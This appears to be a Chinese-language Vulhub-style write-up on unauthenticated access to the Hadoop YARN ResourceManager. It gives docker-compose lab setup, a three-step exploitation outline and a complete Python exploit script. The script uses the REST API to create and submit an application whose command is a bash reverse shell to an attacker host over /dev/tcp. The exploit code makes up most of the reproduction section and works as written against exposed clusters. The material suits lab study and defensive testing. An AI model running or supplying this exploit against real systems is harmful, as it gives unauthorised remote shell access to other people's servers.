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58 lines
1.7 KiB
Markdown
58 lines
1.7 KiB
Markdown
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# Hadoop YARN ResourceManager 未授权访问
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## 漏洞描述
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- 参考阅读： [http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf](http://archive.hack.lu/2016/Wavestone - Hack.lu 2016 - Hadoop safari - Hunting for vulnerabilities - v1.0.pdf)
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## 环境搭建
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Vulhub运行测试环境
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```
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:8088`即可看到Hadoop YARN ResourceManager WebUI页面。
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## 漏洞复现
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利用方法和原理中有一些不同。在没有 hadoop client 的情况下，直接通过 REST API (https://hadoop.apache.org/docs/r2.7.3/hadoop-yarn/hadoop-yarn-site/ResourceManagerRest.html) 也可以提交任务执行。
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利用过程如下：
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1. 在本地监听等待反弹 shell 连接
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2. 调用 New Application API 创建 Application
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3. 调用 Submit Application API 提交
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参考 [exp 脚本](https://github.com/vulhub/vulhub/blob/master/hadoop/unauthorized-yarn/exploit.py)
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```python
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#!/usr/bin/env python
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import requests
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target = 'http://127.0.0.1:8088/'
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lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999
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url = target + 'ws/v1/cluster/apps/new-application'
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resp = requests.post(url)
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app_id = resp.json()['application-id']
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url = target + 'ws/v1/cluster/apps'
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data = {
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'application-id': app_id,
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'application-name': 'get-shell',
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'am-container-spec': {
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'commands': {
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'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
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},
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},
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'application-type': 'YARN',
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}
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requests.post(url, json=data)
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```
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成功反弹shell：
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